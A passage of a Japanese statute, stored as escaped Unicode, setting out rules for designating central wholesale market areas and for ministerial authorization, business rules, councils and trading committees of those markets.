\u304d\u306f\u3001\u5f53\u8a72\u90fd\u9053\u5e9c\u770c\u306e\u533a\u57df\u5185\u306e\u5730\u65b9\u81ea\u6cbb\u6cd5\n\uff08\u662d\u548c\u4e8c\u5341\u4e8c\u5e74\u6cd5\u5f8b\u7b2c\u516d\u5341\u4e03\u53f7\uff09\u7b2c\u4e8c\u767e\u4e94\u5341\u4e8c\u6761\u306e\u5341\u4e5d\u7b2c\u4e00\u9805\n\u306e\u6307\u5b9a\u90fd\u5e02\u306b\u5354\u8b70\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\n\u3000\u90fd\u9053\u5e9c\u770c\u306f\u3001\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u3092\u5b9a\u3081\u305f\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u3053\u308c\u3092\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u63d0\u51fa\u3059\u308b\u3068\u3068\u3082\u306b\u3001\u305d\u306e\u5185\u5bb9\u3092\u516c\u8868\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff15\n\n\u3000\u524d\u4e09\u9805\u306e\u898f\u5b9a\u306f\u3001\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306e\u5909\u66f4\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\u3000\u3000\u3000\u7b2c\u4e09\u7ae0\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\n\n\u3000\u3000\u3000\u3000\u7b2c\u4e00\u7bc0\u3000\u958b\u8a2d\n\n\n\uff08\u958b\u8a2d\u533a\u57df\uff09\n\u7b2c\u4e03\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u304a\u3044\u3066\u5b9a\u3081\u3089\u308c\u305f\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3059\u308b\u3053\u3068\u304c\u5fc5\u8981\u3068\u8a8d\u3081\u3089\u308c\u308b\u90fd\u5e02\u53ca\u3073\u305d\u306e\u5468\u8fba\u306e\u5730\u57df\u3067\u3042\u3064\u3066\u3001\u305d\u306e\u533a\u57df\u5185\u306b\u304a\u3051\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u6d41\u901a\u4e8b\u60c5\u306b\u7167\u3089\u3057\u305d\u306e\u533a\u57df\u3092\u4e00\u4f53\u3068\u3057\u3066\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u6d41\u901a\u306e\u5186\u6ed1\u5316\u3092\u56f3\u308b\u5fc5\u8981\u304c\u3042\u308b\u3068\u8a8d\u3081\u3089\u308c\u308b\u4e00\u5b9a\u306e\u533a\u57df\u3092\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u958b\u8a2d\u533a\u57df\uff08\u4ee5\u4e0b\u3053\u306e\u7ae0\u306b\u304a\u3044\u3066\u300c\u958b\u8a2d\u533a\u57df\u300d\u3068\u3044\u3046\u3002\uff09\u3068\u3057\u3066\u6307\u5b9a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u958b\u8a2d\u533a\u57df\u3092\u6307\u5b9a\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u98df\u6599\u30fb\u8fb2\u696d\u30fb\u8fb2\u6751\u653f\u7b56\u5be9\u8b70\u4f1a\u306e\u610f\u898b\u3092\u8074\u304f\u3068\u3068\u3082\u306b\u3001\u95a2\u4fc2\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306b\u5354\u8b70\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff13\n\n\u3000\u524d\u4e8c\u9805\u306e\u898f\u5b9a\u306f\u3001\u958b\u8a2d\u533a\u57df\u306e\u5909\u66f4\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u958b\u8a2d\u306e\u8a8d\u53ef\uff09\n\u7b2c\u516b\u6761\n\n\u3000\u6b21\u306e\u5404\u53f7\u306e\u3044\u305a\u308c\u304b\u306b\u8a72\u5f53\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306f\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u3066\u3001\u958b\u8a2d\u533a\u57df\u306b\u304a\u3044\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\u4e00\n\n\u3000\u90fd\u9053\u5e9c\u770c\u53c8\u306f\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u6570\u4ee5\u4e0a\u306e\u4eba\u53e3\u3092\u6709\u3059\u308b\u5e02\u3067\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u304a\u3044\u3066\u5b9a\u3081\u3089\u308c\u305f\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3059\u308b\u3053\u3068\u304c\u5fc5\u8981\u3068\u8a8d\u3081\u3089\u308c\u308b\u90fd\u5e02\u306e\u533a\u57df\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u3092\u7ba1\u8f44\u3059\u308b\u3082\u306e\n\n\u4e8c\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u306b\u95a2\u3059\u308b\u4e8b\u52d9\u3092\u51e6\u7406\u3059\u308b\u305f\u3081\u306b\u8a2d\u7f6e\u3055\u308c\u308b\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u4e8c\u767e\u516b\u5341\u56db\u6761\u7b2c\u4e00\u9805\u306e\u4e00\n\u90e8\u4e8b\u52d9\u7d44\u5408\u53c8\u306f\u5e83\u57df\u9023\u5408\u3067\u3001\u524d\u53f7\u306b\u63b2\u3052\u308b\u90fd\u9053\u5e9c\u770c\u53c8\u306f\u5e02\u306e\u4e00\u4ee5\u4e0a\u304c\u52a0\u5165\u3057\u3001\u304b\u3064\u3001\u5f53\u8a72\u958b\u8a2d\u533a\u57df\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u3092\u7ba1\u8f44\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u307f\u304c\u7d44\u7e54\u3059\u308b\u3082\u306e\n\n\n\n\n\uff08\u8a8d\u53ef\u306e\u7533\u8acb\uff09\n\u7b2c\u4e5d\u6761\n\n\u3000\u524d\u6761\u7b2c\u4e00\u53f7\u53c8\u306f\u7b2c\u4e8c\u53f7\u306b\u8a72\u5f53\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306f\u3001\u540c\u6761\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u696d\u52d9\u898f\u7a0b\u53ca\u3073\u4e8b\u696d\u8a08\u753b\u3092\u5b9a\u3081\u3001\u3053\u308c\u3092\u7533\u8acb\u66f8\u306b\u6dfb\u3048\u3066\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u63d0\u51fa\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u696d\u52d9\u898f\u7a0b\u306b\u306f\u3001\u5c11\u306a\u304f\u3068\u3082\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u4e8b\u9805\u3092\u5b9a\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u4f4d\u7f6e\u53ca\u3073\u9762\u7a4d\n\n\u4e8c\n\n\u3000\u53d6\u6271\u54c1\u76ee\n\n\u4e09\n\n\u3000\u958b\u5834\u306e\u671f\u65e5\u53ca\u3073\u6642\u9593\n\n\u56db\n\n\u3000\u5378\u58f2\u306e\u696d\u52d9\u306b\u4fc2\u308b\u58f2\u8cb7\u53d6\u5f15\u53ca\u3073\u6c7a\u6e08\u306e\u65b9\u6cd5\uff08\u59d4\u8a17\u624b\u6570\u6599\u306b\u95a2\u3059\u308b\u4e8b\u9805\u306b\u3042\u3064\u3066\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3082\u306e\uff09\n\n\u4e94\n\n\u3000\u5378\u58f2\u306e\u696d\u52d9\u306b\u4fc2\u308b\u7269\u54c1\u306e\u54c1\u8cea\u7ba1\u7406\u306e\u65b9\u6cd5\n\n\u516d\n\n\u3000\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u8005\u306b\u95a2\u3059\u308b\u4e8b\u9805\n\n\u4e03\n\n\u3000\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u8005\u4ee5\u5916\u306e\u95a2\u4fc2\u4e8b\u696d\u8005\u306b\u95a2\u3059\u308b\u4e8b\u9805\uff08\u3053\u306e\u7ae0\u306b\u304a\u3044\u3066\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3079\u304d\u3082\u306e\u3068\u3055\u308c\u305f\u4e8b\u9805\u306b\u9650\u308b\u3002\uff09\n\n\u516b\n\n\u3000\u65bd\u8a2d\u306e\u4f7f\u7528\u6599\n\n\n\uff13\n\n\u3000\u7b2c\u4e00\u9805\u306e\u4e8b\u696d\u8a08\u753b\u306b\u306f\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u4e8b\u9805\u3092\u5b9a\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u53d6\u6271\u54c1\u76ee\u3054\u3068\u306e\u4f9b\u7d66\u5bfe\u8c61\u4eba\u53e3\u4e26\u3073\u306b\u53d6\u6271\u3044\u306e\u6570\u91cf\u53ca\u3073\u91d1\u984d\u306e\u898b\u8fbc\u307f\n\n\u4e8c\n\n\u3000\u65bd\u8a2d\u306e\u7a2e\u985e\u3001\u898f\u6a21\u3001\u914d\u7f6e\u53ca\u3073\u69cb\u9020\n\n\u4e09\n\n\u3000\u958b\u8a2d\u306b\u8981\u3059\u308b\u8cbb\u7528\u4e26\u3073\u306b\u305d\u306e\u8ca1\u6e90\u53ca\u3073\u511f\u5374\u306b\u95a2\u3059\u308b\u8a08\u753b\n\n\n\n\n\uff08\u8a8d\u53ef\u306e\u57fa\u6e96\uff09\n\u7b2c\u5341\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u7b2c\u516b\u6761\u306e\u8a8d\u53ef\u306e\u7533\u8acb\u304c\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u57fa\u6e96\u306b\u9069\u5408\u3059\u308b\u5834\u5408\u3067\u306a\u3051\u308c\u3070\u3001\u540c\u6761\u306e\u8a8d\u53ef\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u5f53\u8a72\u7533\u8acb\u306b\u4fc2\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u304c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u9069\u5408\u3059\u308b\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\u4e8c\n\n\u3000\u5f53\u8a72\u7533\u8acb\u306b\u4fc2\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u304c\u305d\u306e\u958b\u8a2d\u533a\u57df\u306b\u304a\u3051\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u5378\u58f2\u306e\u4e2d\u6838\u7684\u62e0\u70b9\u3068\u3057\u3066\u9069\u5207\u306a\u5834\u6240\u306b\u958b\u8a2d\u3055\u308c\u3001\u304b\u3064\u3001\u76f8\u5f53\u306e\u898f\u6a21\u306e\u65bd\u8a2d\u3092\u6709\u3059\u308b\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u3002\n\n\u4e09\n\n\u3000\u696d\u52d9\u898f\u7a0b\u306e\u5185\u5bb9\u304c\u6cd5\u4ee4\u306b\u9055\u53cd\u305b\u305a\u3001\u304b\u3064\u3001\u696d\u52d9\u898f\u7a0b\u306b\u898f\u5b9a\u3059\u308b\u524d\u6761\u7b2c\u4e8c\u9805\u7b2c\u4e09\u53f7\u304b\u3089\u7b2c\u516b\u53f7\u307e\u3067\u306b\u63b2\u3052\u308b\u4e8b\u9805\u304c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u696d\u52d9\u306e\u9069\u6b63\u304b\u3064\u5065\u5168\u306a\u904b\u55b6\u3092\u78ba\u4fdd\u3059\u308b\u898b\u5730\u304b\u3089\u307f\u3066\u9069\u5207\u306b\u5b9a\u3081\u3089\u308c\u3066\u3044\u308b\u3053\u3068\u3002\n\n\u56db\n\n\u3000\u4e8b\u696d\u8a08\u753b\u304c\u9069\u5207\u3067\u3001\u304b\u3064\u3001\u305d\u306e\u9042\u884c\u304c\u78ba\u5b9f\u3068\u8a8d\u3081\u3089\u308c\u308b\u3053\u3068\u3002\n\n\n\n\n\uff08\u696d\u52d9\u898f\u7a0b\u306b\u898f\u5b9a\u3059\u308b\u4e8b\u9805\u7b49\u306e\u5909\u66f4\uff09\n\u7b2c\u5341\u4e00\u6761\n\n\u3000\u7b2c\u516b\u6761\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u305f\u5730\u65b9\u516c\u5171\u56e3\u4f53\uff08\u4ee5\u4e0b\u3053\u306e\u7ae0\u306b\u304a\u3044\u3066\u300c\u958b\u8a2d\u8005\u300d\u3068\u3044\u3046\u3002\uff09\u306f\u3001\u7b2c\u4e5d\u6761\u7b2c\u4e8c\u9805\u5404\u53f7\u306b\u63b2\u3052\u308b\u4e8b\u9805\u53c8\u306f\u540c\u6761\u7b2c\u4e09\u9805\u7b2c\u4e8c\u53f7\u306b\u63b2\u3052\u308b\u4e8b\u9805\u306e\u5909\u66f4\uff08\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u8efd\u5fae\u306a\u5909\u66f4\u3092\u9664\u304f\u3002\uff09\u3092\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u7b2c\u4e5d\u6761\u7b2c\u4e8c\u9805\u7b2c\u4e09\u53f7\u304b\u3089\u7b2c\u4e03\u53f7\u307e\u3067\u306b\u63b2\u3052\u308b\u4e8b\u9805\u306e\u5909\u66f4\u306b\u4fc2\u308b\u524d\u9805\u306e\u8a8d\u53ef\u306e\u7533\u8acb\u3092\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u9078\u5b9a\u3057\u305f\u5378\u58f2\u696d\u8005\uff08\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\u3092\u3044\u3046\u3002\u4ee5\u4e0b\u3053\u306e\u7ae0\u306b\u304a\u3044\u3066\u540c\u3058\u3002\uff09\u3001\u4ef2\u5378\u696d\u8005\uff08\u7b2c\u4e09\u5341\u4e09\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\u3092\u3044\u3046\u3002\u4ee5\u4e0b\u540c\u3058\u3002\uff09\u3001\u7b2c\u4e09\u5341\u516d\u6761\u7b2c\u4e00\u9805\u306b\u898f\u5b9a\u3059\u308b\u58f2\u8cb7\u53c2\u52a0\u8005\u305d\u306e\u4ed6\u306e\u5229\u5bb3\u95a2\u4fc2\u8005\u306e\u610f\u898b\u3092\u8074\u304b\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u305f\u3060\u3057\u3001\u7b2c\u5341\u4e09\u6761\u306e\u4e8c\u7b2c\u4e00\u9805\u306e\u5e02\u5834\u53d6\u5f15\u59d4\u54e1\u4f1a\u306e\u610f\u898b\u3092\u8074\u3044\u305f\u3068\u304d\u306f\u3001\u3053\u306e\u9650\u308a\u3067\u306a\u3044\u3002\n\n\uff13\n\n\u3000\u524d\u6761\u306e\u898f\u5b9a\u306f\u3001\u7b2c\u4e00\u9805\u306e\u8a8d\u53ef\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u958b\u8a2d\u306e\u4fc3\u9032\u7b49\u306e\u52e7\u544a\uff09\n\u7b2c\u5341\u4e8c\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306e\u9069\u6b63\u304b\u3064\u5186\u6ed1\u306a\u5b9f\u65bd\u3092\u56f3\u308b\u305f\u3081\u5fc5\u8981\u304c\u3042\u308b\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u3042\u3089\u304b\u3058\u3081\u98df\u6599\u30fb\u8fb2\u696d\u30fb\u8fb2\u6751\u653f\u7b56\u5be9\u8b70\u4f1a\u306e\u610f\u898b\u3092\u8074\u3044\u3066\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u3067\u5b9a\u3081\u3089\u308c\u305f\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3059\u308b\u3053\u3068\u304c\u5fc5\u8981\u3068\u8a8d\u3081\u3089\u308c\u308b\u90fd\u5e02\u306e\u533a\u57df\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u3092\u7ba1\u8f44\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u53c8\u306f\u5f53\u8a72\u90fd\u5e02\u306e\u5468\u8fba\u306e\u5730\u57df\u3092\u7ba1\u8f44\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306b\u5bfe\u3057\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u3092\u4fc3\u9032\u3057\u3001\u4e00\u4f53\u3068\u3057\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3057\u3001\u53c8\u306f\u958b\u8a2d\u3055\u308c\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u4f4d\u7f6e\u3001\u898f\u6a21\u7b49\u306b\u3064\u3044\u3066\u8abf\u6574\u3092\u56f3\u308b\u3079\u304d\u65e8\u306e\u52e7\u544a\u3092\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\n\n\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u958b\u8a2d\u904b\u55b6\u5354\u8b70\u4f1a\uff09\n\u7b2c\u5341\u4e09\u6761\n\n\u3000\u7b2c\u516b\u6761\u7b2c\u4e00\u53f7\u82e5\u3057\u304f\u306f\u7b2c\u4e8c\u53f7\u306b\u8a72\u5f53\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u53c8\u306f\u958b\u8a2d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u53c8\u306f\u305d\u306e\u696d\u52d9\u306e\u904b\u55b6\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u3092\u8abf\u67fb\u5be9\u8b70\u3055\u305b\u308b\u305f\u3081\u3001\u6761\u4f8b\u3067\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u958b\u8a2d\u904b\u55b6\u5354\u8b70\u4f1a\uff08\u4ee5\u4e0b\u300c\u5354\u8b70\u4f1a\u300d\u3068\u3044\u3046\u3002\uff09\u3092\u7f6e\u304f\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u5354\u8b70\u4f1a\u306e\u59d4\u54e1\u306f\u3001\u5b66\u8b58\u7d4c\u9a13\u306e\u3042\u308b\u8005\u306e\u3046\u3061\u304b\u3089\u3001\u5354\u8b70\u4f1a\u3092\u8a2d\u7f6e\u3059\u308b\u524d\u9805\u306e\u5730\u65b9\u516c\u5171\u56e3\u4f53\u53c8\u306f\u958b\u8a2d\u8005\u304c\u59d4\u5631\u3059\u308b\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u5730\u65b9\u516c\u5171\u56e3\u4f53\u53c8\u306f\u958b\u8a2d\u8005\u306f\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u958b\u8a2d\u533a\u57df\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u3092\u7ba1\u8f44\u3059\u308b\u4ed6\u306e\u5730\u65b9\u516c\u5171\u56e3\u4f53\u3068\u5354\u8b70\u3057\u3066\u3001\u5f53\u8a72\u4ed6\u306e\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u4ee3\u8868\u8005\u53c8\u306f\u8077\u54e1\u3092\u5354\u8b70\u4f1a\u306e\u59d4\u54e1\u306b\u59d4\u5631\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff13\n\n\u3000\u524d\u4e8c\u9805\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u5354\u8b70\u4f1a\u306e\u7d44\u7e54\u53ca\u3073\u904b\u55b6\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u306f\u3001\u5354\u8b70\u4f1a\u3092\u8a2d\u7f6e\u3059\u308b\u7b2c\u4e00\u9805\u306e\u5730\u65b9\u516c\u5171\u56e3\u4f53\u53c8\u306f\u958b\u8a2d\u8005\u304c\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3002\n\n\n\n\uff08\u5e02\u5834\u53d6\u5f15\u59d4\u54e1\u4f1a\uff09\n\u7b2c\u5341\u4e09\u6761\u306e\u4e8c\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u58f2\u8cb7\u53d6\u5f15\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u3092\u8abf\u67fb\u5be9\u8b70\u3055\u305b\u308b\u305f\u3081\u3001\u696d\u52d9\u898f\u7a0b\u3067\u3001\u5e02\u5834\u53d6\u5f15\u59d4\u54e1\u4f1a\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u59d4\u54e1\u4f1a\u300d\u3068\u3044\u3046\u3002\uff09\u3092\u7f6e\u304f\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u59d4\u54e1\u4f1a\u306f\u3001\u696d\u52d9\u898f\u7a0b\u306e\u5909\u66f4\uff08\u7b2c\u4e5d\u6761\u7b2c\u4e8c\u9805\u7b2c\u4e09\u53f7\u304b\u3089\u7b2c\u4e03\u53f7\u307e\u3067\u306b\u63b2\u3052\u308b\u4e8b\u9805\u306e\u5909\u66f4\u306b\u9650\u308b\u3002\uff09\u306b\u95a2\u3057\u3001\u53ca\u3073\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u516c\u6b63\u304b\u3064\u52b9\u7387\u7684\u306a\u58f2\u8cb7\u53d6\u5f15\u306e\u78ba\u4fdd\u306b\u8cc7\u3059\u308b\u305f\u3081\u3001\u958b\u8a2d\u8005\u306b\u5bfe\u3057\u3066\u610f\u898b\u3092\u8ff0\u3079\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff13\n\n\u3000\u59d4\u54e1\u4f1a\u306e\u59d4\u54e1\u306f\u3001\u5378\u58f2\u696d\u8005\u3001\u4ef2\u5378\u696d\u8005\u3001\u7b2c\u4e09\u5341\u516d\u6761\u7b2c\u4e00\u9805\u306b\u898f\u5b9a\u3059\u308b\u58f2\u8cb7\u53c2\u52a0\u8005\u305d\u306e\u4ed6\u306e\u5229\u5bb3\u95a2\u4fc2\u8005\u53ca\u3073\u5b66\u8b58\u7d4c\u9a13\u306e\u3042\u308b\u8005\u306e\u3046\u3061\u304b\u3089\u3001\u59d4\u54e1\u4f1a\u3092\u8a2d\u7f6e\u3059\u308b\u958b\u8a2d\u8005\u304c\u59d4\u5631\u3059\u308b\u3002\n\n\uff14\n\n\u3000\u524d\u4e09\u9805\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u59d4\u54e1\u4f1a\u306e\u7d44\u7e54\u53ca\u3073\u904b\u55b6\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u306f\u3001\u59d4\u54e1\u4f1a\u3092\u8a2d\u7f6e\u3059\u308b\u958b\u8a2d\u8005\u304c\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3002\n\n\n\n\uff08\u958b\u8a2d\u8005\u306e\u5730\u4f4d\u306e\u627f\u7d99\uff09\n\u7b2c\u5341\u4e09\u6761\u306e\u4e09\n\n\u3000\u6b21\u306e\u5404\u53f7\u306e\u3044\u305a\u308c\u304b\u306b\u8a72\u5f53\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u3067\u3042\u3064\u3066\u3001\u73fe\u306b\u958b\u8a2d\u3055\u308c\u3066\u3044\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u3067\u5b9a\u3081\u3089\u308c\u305f\u904b\u55b6\u306e\u5e83\u57df\u5316\u3092\u63a8\u9032\u3059\u308b\u3053\u3068\u304c\u5fc5\u8981\u3068\u8a8d\u3081\u3089\u308c\u308b\u3082\u306e\u306b\u9650\u308b\u3002\uff09\u306e\u958b\u8a2d\u8005\u304b\u3089\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u65bd\u8a2d\u306b\u4fc2\u308b\u6a29\u539f\u3092\u53d6\u5f97\u3057\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u8005\u3068\u306a\u308d\u3046\u3068\u3059\u308b\u3082\u306e\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u3066\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u8005\u306e\u5730\u4f4d\u3092\u627f\u7d99\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\u4e00\n\n\u3000\u90fd\u9053\u5e9c\u770c\u3067\u3001\u73fe\u306b\u958b\u8a2d\u3055\u308c\u3066\u3044\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u533a\u57df\u306e\u5168\u90e8\u3092\u7ba1\u8f44\u3059\u308b\u3082\u306e\n\n\u4e8c\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u306b\u95a2\u3059\u308b\u4e8b\u52d9\u3092\u51e6\u7406\u3059\u308b\u305f\u3081\u306b\u8a2d\u7f6e\u3055\u308c\u308b\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u4e8c\u767e\u516b\u5341\u56db\u6761\u7b2c\u4e00\u9805\u306e\u4e00\n\u90e8\u4e8b\u52d9\u7d44\u5408\u53c8\u306f\u5e83\u57df\u9023\u5408\u3067\u3001\u73fe\u306b\u958b\u8a2d\u3055\u308c\u3066\u3044\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u8005\u3067\u3042\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\uff08\u5f53\u8a72\u958b\u8a2d\u8005\u304c\u7b2c\u516b\u6761\u7b2c\u4e8c\u53f7\u306b\u898f\u5b9a\u3059\u308b\u4e00\u90e8\u4e8b\u52d9\u7d44\u5408\u53c8\u306f\u5e83\u57df\u9023\u5408\u3067\u3042\u308b\u5834\u5408\u306b\u3042\u3064\u3066\u306f\u3001\u3053\u308c\u3089\u3092\u7d44\u7e54\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\uff09\u304c\u52a0\u5165\u3057\u3001\u304b\u3064\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u533a\u57df\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u3092\u7ba1\u8f44\u3059\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u307f\u304c\u7d44\u7e54\u3059\u308b\u3082\u306e\n\n